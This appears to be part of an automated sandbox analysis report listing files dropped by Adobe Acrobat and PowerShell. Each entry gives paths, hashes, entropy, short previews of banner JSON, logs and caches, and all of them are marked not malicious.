SHA-256:	E5584832D41EEF0FB10D7BE9067EFB63B643589A28DB8AE616BF39E1AA5CE612
SHA-512:	3B59AA8E53DC6FBC03E0A80A7B6F6AD37A821EB35E7F55BEFAC9FAEA0B6FF0906861B26B5F1A24D4BC677A783FC9EECE0BCC0F103D83B8645636F9B07F7E9E0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.290420151081841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfQ1rPeUkwRe9:YvXKXDk2zbsdTeOyBGY16Ukee9
MD5:	7C4C96877F60ADA8210A565E43517A87
SHA1:	41A0B1F71CF7FE7AF0731FD29DA2EE7229456EEB
SHA-256:	061954F897C594EB873C28502A77E8B63630163EC20B98B56F9E33D7A52F530F
SHA-512:	30A63F9BAFD3F52F78FF68EE713F7BFFED9450149255ECB0FDEDEDFC6BB621B1D9EFC69BB09DED63D5570B39BA34225C5FF335682FE9B71A955742631358F6F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306337009024851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfFldPeUkwRe9:YvXKXDk2zbsdTeOyBGz8Ukee9
MD5:	0E87F0018C75270B36C54A663E759EFC
SHA1:	A74C863BBD6A498A5AD534C67FB707DEC7E44389
SHA-256:	8139C3F82BF41D28B612C5DB766E9D9DC027AD292066F60B2A021ECDA604CD1E
SHA-512:	DBFB2432277EA278E9FBA4FDF59E819FB700EA241EBDFFFCEB4619A39A0EC55E31146B00636E1E13FFC97FE3B12748D4F11BF985D71FC698ADB6F05D5A7A82A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312228984370268
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfzdPeUkwRe9:YvXKXDk2zbsdTeOyBGb8Ukee9
MD5:	EFD0D97CF140EB3D38E61F03119B0D4B
SHA1:	7835D6C83CB91E8497EF841E69F709CF1675D175
SHA-256:	242E8F6442DF2A9B03C1C03E4D06C0A0BE5957A5E2FEF67253B5EE12BF562BB8
SHA-512:	F249B7B10B52A1D95CF85F4F598BD91EB0177F8BC5E08AD2FA7EFF3DC2B7270F6C64C8A8D5C05079DA51C184E9DBA212CF050ECB8CA7F88ABDC9A8899CA1FF42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2930020807269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfYdPeUkwRe9:YvXKXDk2zbsdTeOyBGg8Ukee9
MD5:	FD0C4B611778668B0C3C60D86122EBA1
SHA1:	D5876AA8F25A72A24B9E35DC6D7D029A8F46F325
SHA-256:	6DF743D90A582407229F1D193AAC1BEAB5459582B7284DB55584C102B764B97B
SHA-512:	ECF4E5E2EA3EA300743F357FB77BAC579FF567487048FC985AF9FF63E619FC39045C5D6871AF80A6CE9A3942DED30CFF3A04C3549B5BB5D0D54466CEBBD57462
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.280032193278595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJf+dPeUkwRe9:YvXKXDk2zbsdTeOyBG28Ukee9
MD5:	1C776FC10C4B0D83FF7EF74B069D5173
SHA1:	5BD462505724E3B749398ED6C6BF3117F241BC5E
SHA-256:	173F71DE24B92F8545469592FB367E6738AFA9A80F2327CC3D624A9B0177DC79
SHA-512:	E8F73F595EACD517BF998557332C78256B4ED621803409FF871F754F6379616042BB83F0F0B73B84F211D6CE11241DF127D8AB08840FEDDABBDCA530E973B450
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.27659727406587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfbPtdPeUkwRe9:YvXKXDk2zbsdTeOyBGDV8Ukee9
MD5:	871A5838F07E26DCDD29C29DAD21D532
SHA1:	922F76490395F43C337D1BCD952670B15C354293
SHA-256:	08D613DE2AFB5AB5821F3F870D1D341EC6E2DE426E14F1216BC4A52FA3A8ABC7
SHA-512:	CC7E6368695AC6A2D8B0FFB45680542DB12A95056FADAF9ED7F5C1D3C371AD709C0178DA354852CA916C6760F40D6C3DB89E1828F744B6249BE5A7A7739AA8CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281447730635957
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJf21rPeUkwRe9:YvXKXDk2zbsdTeOyBG+16Ukee9
MD5:	98D0C1E9F2A02EE7CD43C75E249694E9
SHA1:	3B33AB945DB8E8D9A5423F29157641297C62F40E
SHA-256:	2D1AF0F2E2806C740239934E0E80F1045AB766EF65C159842BDE5A1ED9BE5F73
SHA-512:	3152F784AA0AEEB560D20C31A13AAF11C164DB2248230CF0454425513E9E080AF839E6F39460B808DDFE4EB8D16EC7E1D2C728E600D8F858D852190324364CF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655046313570216
Encrypted:	false
SSDEEP:	24:Yv6XDk2zbmeO7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSR:Yvd2OeqBgkDMUJUAh8cvMR
MD5:	310DD038E7B9840349AA2CDBADC708F5
SHA1:	C459491F6C797D5846D04E33E72B86ED0FC9EC22
SHA-256:	71B8840F11709A6E15D10A2139CCAF5703FDCBA252241797996DAC30E289BE61
SHA-512:	EF25E0ED5EDC8D03ADD8DE2ACA06BDB9691CFAD643ECA2A0E821F1D7C6A008A947B1D4944D985D61AE6CB3ED9A08B88A42B4EE2007C424A9C659762B55E0FF25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.257566901835982
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfshHHrPeUkwRe9:YvXKXDk2zbsdTeOyBGUUUkee9
MD5:	F72B7D23255BE8A4099633A8BCBF89A9
SHA1:	092F0FE3EF9F125CB3BB5B4BF0A645A3BD792A75
SHA-256:	2F070B5F167D49618810A36A6597CEBE5D559593F7311219D3D77F000715D679
SHA-512:	C4E367B3EA3DB6F8C31B37D1AD9F0933EEA32831BA904722F9F40BAB2D753E97019CC9157E6EDCF5D6DC3D30F48587772FF12A0137F366075D17228CA104ED1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.283515971340464
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJTqgFCrPeUkwRe9:YvXKXDk2zbsdTeOyBGTq16Ukee9
MD5:	2E51F0EF8B23011181A034B6AF4DF9A8
SHA1:	03B0E76D7F8E99BA8E3C50D3D5D366B2764211B8
SHA-256:	8A1B92F9613FC3DD2035577C948C7F4A49BB95BEE68FD630543DFD585DFD5280
SHA-512:	9A799DCABAE595EF23DCF7EE0F128872B06A411E9DF580537F075CFA012EEEB953070BEF9917FBC72EBB339F257353C2868364B55803BF8C91EBB697A8A81561
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131879440252418
Encrypted:	false
SSDEEP:	48:YssRjopNfqVXeJz0XaKLJWDZDmRlAh9L4:3sjop+uJzkWDZDf/E
MD5:	377E2F28E279DB8AF8F4207F2806927A
SHA1:	EE0B135D3B4D378E5811C1B4BAB17895D78BEEF4
SHA-256:	738A9D7BA8105CE78206095269CDD0673B29784D368F42286F84285F9F9253EC
SHA-512:	F0694B1172DC115A01737407A11DE11AD67EFA45AA03CFCC8AEF3EA16FD14CA14C42E3D890FC7796C007EF806B830F68684C87ECB844667A1294CE61D745AC8E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bfe2910e915c073d98314fe64467eb75","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570391000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1edcbfe1d2af819884fce362b8efd9eb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570391000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"17ab200587799fe25813ceec758ddcd9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570390000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0c11552bf0ce7a51a89b3129bef390a5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570390000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9b2e763100db17f57bdd8dc65568a7b8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570390000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"24e96bec2f53d76c07b9c21e06060c54","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.455255086573406
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dskFlOZ:lNVmsw3SHtbDbPe0K3+fDZdg
MD5:	97042A99370299CDAFB3BF15D8E11E72
SHA1:	D60C6AA1313C631BA8B2C3D2CF9BAFEC57491923
SHA-256:	6CB1D4C25089B81D4B5B252FD6E200DA1A80D4B54DF1E6212346A65FE1ADD8D0
SHA-512:	B7D46E2BEB50F57B3C80A1857FB11C56D8513B419C6F35C902D2A481871F9F4DEF7651D77B012A050673E44A17DDEA38C77D8053ECD9EB76D66219BE06B17F9C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9598939790676633
Encrypted:	false
SSDEEP:	48:7MTrvrBd6dHtbGIbPe0K3+fDy2dskQfqFl2GL7msi:723SHtbDbPe0K3+fDZdcKVmsi
MD5:	D5DDCAAD147D3F5B2FA8A3428D48CA41
SHA1:	74F607142E887D46616DE32F3CBA099CECD1AFD5
SHA-256:	5DB4E7E7202F4BB3A1BC66FAB509153617E5F1ADD525170D9703ACC2A1576E10
SHA-512:	2DDE29C4042BACE793A4EFF76F8773C925696ECE205A8FE3366F891E0F9994FE91EBB437ABAC846F7761DEE38DF93015DA41176BF80BDFE0FCA634CBF64BADA5
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgkxxsLC9Jx5jmYTWFCzSqNaPrYyu:6a6TZ44ADEkxx4gJbjeFrK
MD5:	2D5C6C3036F9658DAD96F36CCA05ED34
SHA1:	C888A4C78D397681CE241C55C9D6C3DF450EF29F
SHA-256:	F25EFC47531831853ECBE320D48EA3B8B8CE7CB72E2070B36257D652E9DE8D3C
SHA-512:	6FB2191A1ABCB91DF52396B6856ECFE559DBD59A40CD947F180C4B82E18BFA7796A61E3B06D597C94CAE0A8AE4FC90845D9B9142EF046345123A657B43FC6652
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIce6d8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5177502348333967
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClkPYH:Qw946cPbiOxDlbYnuRK+bjYH
MD5:	E5C36C9625F00F511F72C62DEC7AD3E1
SHA1:	C729B0F147129AD8EAB54EC654ECF342F315DE78
SHA-256:	780737C926C9B1063FC9D47D685D547F8D726FF11AE2F5C2407EACC682297559
SHA-512:	88977379D5279C14162199DF30DD8FE71AA81112DDEA74732E18801826F74D172DA1949D9B47F72C0A9F8236AD17B966CE999BF7BFCF79973C85DE9626F21097
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.3.9.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc3trekd.gtj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mgjnlezy.wfb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-39-44-297.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.355239510270385
Encrypted:	false
SSDEEP:	384:xqsnk21TmdUjAUlQcdDqY6HGKJHXw8o0ZOxDlBDj0kDNXcSNW3i+uburWndB4jrf:F+9
MD5:	0728E4EAB3D9FB5853E6D453ACA8EF9C
SHA1:	01D95A9151312614CA7EBA2D6787895165E8A7F1
SHA-256:	31C7A6C6E7E966C788865370AAEF501CF211D18A96DA3FCD95FA54568C8C7958
SHA-512:	ADE68123AFA9B75FD04CBE408BC8AE51DF307F24EC3D8EEB7931581E2F317B1F669725030E9EEDCB0944F12B2F62EAD1A34493BC8FD0322B1928B47099D81EC5
Malicious:	false
Preview:	SessionID=72f559bd-4448-4f11-833d-ad7e434bdc24.1736570384317 Timestamp=2025-01-10T23:39:44:317-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=72f559bd-4448-4f11-833d-ad7e434bdc24.1736570384317 Timestamp=2025-01-10T23:39:44:324-0500 ThreadID=2024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=72f559bd-4448-4f11-833d-ad7e434bdc24.1736570384317 Timestamp=2025-01-10T23:39:44:324-0500 ThreadID=2024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=72f559bd-4448-4f11-833d-ad7e434bdc24.1736570384317 Timestamp=2025-01-10T23:39:44:324-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=72f559bd-4448-4f11-833d-ad7e434bdc24.1736570384317 Timestamp=2025-01-10T23:39:44:324-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.415340362312122
Encrypted:	false
